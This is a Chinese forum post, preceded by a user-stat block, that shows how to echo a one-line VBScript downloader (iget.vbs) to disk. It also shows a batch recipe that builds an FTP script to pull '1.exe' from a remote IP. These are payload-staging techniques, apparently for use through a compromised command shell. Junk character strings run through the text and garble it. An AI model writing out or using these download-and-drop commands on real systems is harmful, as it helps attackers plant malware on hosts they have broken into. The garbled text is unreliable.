- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: % ~) N% t3 P6 z- X5 X/ V4 [' p
1.iget.vbs一次写入 ( `6 u& m) H3 p( k
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
0 f L! _, L' T3 b6 p8 u8 l5 T* j. C' t- d
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
1 [: @" e5 q8 |- B X( I) j1 O6 h0 ^3 P! |1 V9 e4 o
这样我们可以一次echo成功,echo版本: - b' g- f2 f( L5 H- ~
0 b) O# Q; f. B3 v- |
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
7 }& i# k2 e) m9 |3 X
' _1 n1 t. m7 i, R6 F
% N! n( T. ?' K- v2.bat调用ftp脚本的写法(by envymask)
+ `8 Y' r# _2 Z, [
' a/ e$ g: p, u8 l) z! p1 t6 o+ `echo ftp>1.vbs
% a' f; ?3 E# }& h' H7 T& I: {echo open ip>2.vbs
, [; L8 w$ d4 _6 Pecho u>3.vbs - j7 R4 x8 g, ~
echo s>4.vbs 4 ]' @- o+ F9 V" I5 F
echo binary>5.vbs 8 v1 y: Q1 Q, _% _; v8 r
echo get 1.exe>6.vbs $ r l) A! c$ t6 k/ q8 @- M
echo bay>7.vbs 8 g/ Y+ p* t5 @* y/ c
0 F5 O" G8 l" H4 P
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
& G: w3 a7 C3 m) B, Q; ~</P> |
zan
|